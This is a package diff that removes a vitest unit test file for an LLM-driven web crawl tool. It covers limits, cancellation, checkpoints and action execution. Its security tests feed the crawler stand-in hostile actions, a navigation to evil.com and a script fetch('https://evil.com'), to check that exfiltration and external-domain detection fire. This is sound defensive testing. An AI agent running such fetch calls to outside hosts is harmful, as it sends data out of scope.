retestkit 1.4.1 → 1.5.0

package/src/tools/webtest/crawl.test.ts

@@ -1,834 +0,0 @@
-/**
- * Unit Tests for webtest_crawl_app tool (Phase 4.13)
- */
-
-import { describe, it, expect, vi, beforeEach } from "vitest";
-import { createCrawlTool } from "./crawl.js";
-import {
-  createMockContext,
-  type MockContext,
-} from "../../test-utils/index.js";
-
-describe("webtest_crawl_app", () => {
-  let context: MockContext;
-  let tool: ReturnType<typeof createCrawlTool>;
-
-  beforeEach(() => {
-    context = createMockContext();
-    tool = createCrawlTool(() => context as any);
-  });
-
-  describe("tool metadata", () => {
-    it("has correct name", () => {
-      expect(tool.name).toBe("webtest_crawl_app");
-    });
-
-    it("has a description", () => {
-      expect(tool.description).toBeDefined();
-      expect(tool.description.length).toBeGreaterThan(0);
-    });
-
-    it("has an input schema", () => {
-      expect(tool.inputSchema).toBeDefined();
-    });
-  });
-
-  describe("handler - validation", () => {
-    it("returns error for non-existent workspace", async () => {
-      context.workspaceManager.workspaceExists = vi.fn().mockResolvedValue(false);
-
-      const result = await tool.handler({
-        analysisId: "00000000-0000-0000-0000-000000000000",
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBe(true);
-      expect(result.content[0].text).toContain("not found");
-    });
-
-    it("validates analysisId format via schema", () => {
-      // The schema requires UUID format
-      const schema = tool.inputSchema;
-      expect(schema).toBeDefined();
-    });
-
-    it("requires goal parameter", () => {
-      const schema = tool.inputSchema;
-      expect(schema).toBeDefined();
-    });
-  });
-
-  describe("handler - crawl execution", () => {
-    beforeEach(async () => {
-      // Set up successful sampling that completes immediately
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Goal achieved",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-    });
-
-    it("creates crawl in workspace", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBeFalsy();
-      expect(context.workspaceManager.createCrawl).toHaveBeenCalled();
-    });
-
-    it("connects to playwright if not connected", async () => {
-      context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.playwrightClient.connect).toHaveBeenCalled();
-    });
-
-    it("navigates to workspace URL", async () => {
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.playwrightClient.navigate).toHaveBeenCalled();
-    });
-
-    it("captures page snapshot", async () => {
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.playwrightClient.snapshot).toHaveBeenCalled();
-    });
-
-    it("returns crawlId in response", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.crawlId).toBeDefined();
-    });
-
-    it("returns status completed when goal achieved", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.status).toBe("completed");
-      expect(content.goalComplete).toBe(true);
-    });
-
-    it("returns next steps after completion", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.nextSteps).toBeInstanceOf(Array);
-      expect(content.nextSteps.length).toBeGreaterThan(0);
-    });
-  });
-
-  describe("handler - limits", () => {
-    beforeEach(async () => {
-      await context.playwrightClient.connect();
-    });
-
-    it("uses workspace limits by default", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
-        context.testAnalysisId,
-        expect.objectContaining({
-          limits: expect.objectContaining({
-            maxSteps: expect.any(Number),
-          }),
-        })
-      );
-    });
-
-    it("respects custom limits", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-        limits: { maxSteps: 5 },
-      });
-
-      expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
-        context.testAnalysisId,
-        expect.objectContaining({
-          limits: expect.objectContaining({
-            maxSteps: 5,
-          }),
-        })
-      );
-    });
-  });
-
-  describe("handler - fallback mode", () => {
-    beforeEach(async () => {
-      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
-      await context.playwrightClient.connect();
-    });
-
-    it("returns prompt when sampling unavailable", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.needsManualInput).toBe(true);
-      expect(content.prompt).toBeDefined();
-    });
-
-    it("includes instructions for manual mode", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.instructions).toContain("manualNextActions");
-    });
-
-    it("includes partial results info", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.partialResults).toBeDefined();
-    });
-  });
-
-  describe("handler - manual actions", () => {
-    beforeEach(async () => {
-      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
-      await context.playwrightClient.connect();
-    });
-
-    it("executes manual actions when provided", async () => {
-      // First call triggers the manual flow and executes the action
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-        manualNextActions: [
-          { tool: "click", args: { element: "Submit button", ref: "e1" } },
-        ],
-      });
-
-      expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
-    });
-
-    it("validates manual actions for security", async () => {
-      context.securityValidator.validateAction = vi.fn().mockReturnValue({
-        valid: false,
-        reason: "External domain not allowed",
-      });
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-        manualNextActions: [
-          { tool: "navigate", args: { url: "https://evil.com" } },
-        ],
-      });
-
-      expect(result.isError).toBe(true);
-      expect(result.content[0].text).toContain("Security error");
-    });
-  });
-
-  describe("handler - cancellation", () => {
-    it("handles cancellation gracefully", async () => {
-      // Set up to throw cancellation error
-      const { CancellationError } = await import("../../progress/index.js");
-      context.cancellationRegistry.checkCancelled = vi.fn().mockImplementation((id) => {
-        throw new CancellationError(id);
-      });
-
-      await context.playwrightClient.connect();
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.status).toBe("cancelled");
-    });
-
-    it("registers for cancellation on start", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.cancellationRegistry.register).toHaveBeenCalled();
-    });
-
-    it("unregisters cancellation on completion", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.cancellationRegistry.unregister).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - progress reporting", () => {
-    beforeEach(async () => {
-      await context.playwrightClient.connect();
-    });
-
-    it("emits progress during crawl", async () => {
-      let stepCount = 0;
-      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
-        stepCount++;
-        if (stepCount >= 2) {
-          return {
-            success: true,
-            data: {
-              actions: [],
-              reasoning: "Done",
-              goalProgress: "Complete",
-              goalComplete: true,
-            },
-          };
-        }
-        return {
-          success: true,
-          data: {
-            actions: [{ tool: "click", args: { selector: "a" } }],
-            reasoning: "Exploring",
-            goalProgress: `Step ${stepCount}`,
-            goalComplete: false,
-          },
-        };
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-      });
-
-      expect(context.progressEmitter.emit).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - checkpoint and resume", () => {
-    beforeEach(async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-    });
-
-    it("supports resume flag", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore the site",
-        resume: true,
-      });
-
-      expect(result.isError).toBeFalsy();
-      expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
-    });
-
-    it("continues from checkpoint when available", async () => {
-      context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue({
-        step: 5,
-        timestamp: new Date().toISOString(),
-        visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
-        currentUrl: "https://shop.example.com/products",
-        goalProgress: "Found products",
-        canResume: true,
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Continue exploring",
-        resume: true,
-      });
-
-      // Should navigate to checkpoint URL
-      expect(context.playwrightClient.navigate).toHaveBeenCalled();
-    });
-
-    it("starts fresh when no checkpoint available", async () => {
-      context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(null);
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-        resume: true,
-      });
-
-      // Should still work
-      expect(context.playwrightClient.navigate).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - security validation", () => {
-    beforeEach(async () => {
-      await context.playwrightClient.connect();
-    });
-
-    it("validates actions against allowed domains", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "navigate", args: { url: "https://evil.com" } }],
-          reasoning: "Navigating",
-          goalProgress: "Exploring",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      context.securityValidator.validateAction = vi.fn().mockReturnValue({
-        valid: false,
-        reason: "External domain not allowed",
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.securityValidator.validateAction).toHaveBeenCalled();
-    });
-
-    it("detects exfiltration attempts", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "evaluate", args: { script: "fetch('https://evil.com')" } }],
-          reasoning: "Running script",
-          goalProgress: "Testing",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
-        detected: true,
-        type: "external_request",
-        evidence: "POST to external",
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
-    });
-
-    it("checks for injection in page content", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.securityValidator.detectInjectionAttempt).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - action execution", () => {
-    beforeEach(async () => {
-      await context.playwrightClient.connect();
-    });
-
-    it("executes click actions", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "click", args: { element: "Submit button", ref: "e1" } }],
-          reasoning: "Clicking button",
-          goalProgress: "Clicking",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
-    });
-
-    it("executes type actions", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "type", args: { element: "Input field", ref: "e2", text: "hello" } }],
-          reasoning: "Typing",
-          goalProgress: "Typing",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.playwrightClient.type).toHaveBeenCalledWith("Input field", "e2", "hello", { submit: undefined, slowly: undefined });
-    });
-
-    it("executes navigate actions", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "navigate", args: { url: "https://shop.example.com/products" } }],
-          reasoning: "Navigating",
-          goalProgress: "Navigating",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.playwrightClient.navigate).toHaveBeenCalledWith("https://shop.example.com/products");
-    });
-
-    it("records actions in workspace", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "click", args: { selector: "a" } }],
-          reasoning: "Clicking link",
-          goalProgress: "Exploring",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.workspaceManager.recordAction).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - blocked state", () => {
-    beforeEach(async () => {
-      await context.playwrightClient.connect();
-    });
-
-    it("handles blocked response from sampling", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Cannot proceed",
-          goalProgress: "Blocked",
-          goalComplete: false,
-          blocked: true,
-          blockedReason: "Login required",
-        },
-      });
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.blocked).toBe(true);
-      expect(content.blockedReason).toBe("Login required");
-    });
-
-    it("handles sampling failure", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: false,
-        error: "LLM error",
-      });
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(result.isError).toBeFalsy();
-      const content = JSON.parse(result.content[0].text!);
-      expect(content.blocked).toBe(true);
-    });
-  });
-
-  describe("handler - resource notifications", () => {
-    beforeEach(async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-    });
-
-    it("notifies on crawl creation", async () => {
-      vi.clearAllMocks();
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
-    });
-
-    it("notifies on page save", async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [{ tool: "click", args: { selector: "a" } }],
-          reasoning: "Exploring",
-          goalProgress: "Exploring",
-          goalComplete: false,
-        },
-      }).mockResolvedValueOnce({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      vi.clearAllMocks();
-
-      await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      // Multiple notifications: crawl create, page save, completion
-      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
-    });
-  });
-
-  describe("handler - error handling", () => {
-    it("handles playwright connection errors", async () => {
-      context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
-      context.playwrightClient.connect = vi.fn().mockRejectedValue(
-        new Error("Connection failed")
-      );
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(result.isError).toBe(true);
-      expect(result.content[0].text).toContain("Error");
-    });
-
-    it("handles navigation errors", async () => {
-      context.playwrightClient.navigate = vi.fn().mockRejectedValue(
-        new Error("Navigation timeout")
-      );
-
-      await context.playwrightClient.connect();
-
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-      });
-
-      expect(result.isError).toBe(true);
-    });
-  });
-
-  describe("handler - strategy", () => {
-    beforeEach(async () => {
-      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
-        success: true,
-        data: {
-          actions: [],
-          reasoning: "Done",
-          goalProgress: "Complete",
-          goalComplete: true,
-        },
-      });
-
-      await context.playwrightClient.connect();
-    });
-
-    it("accepts goal_directed strategy", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-        strategy: "goal_directed",
-      });
-
-      expect(result.isError).toBeFalsy();
-    });
-
-    it("accepts breadth_first strategy", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-        strategy: "breadth_first",
-      });
-
-      expect(result.isError).toBeFalsy();
-    });
-
-    it("accepts depth_first strategy", async () => {
-      const result = await tool.handler({
-        analysisId: context.testAnalysisId,
-        goal: "Explore",
-        strategy: "depth_first",
-      });
-
-      expect(result.isError).toBeFalsy();
-    });
-  });
-});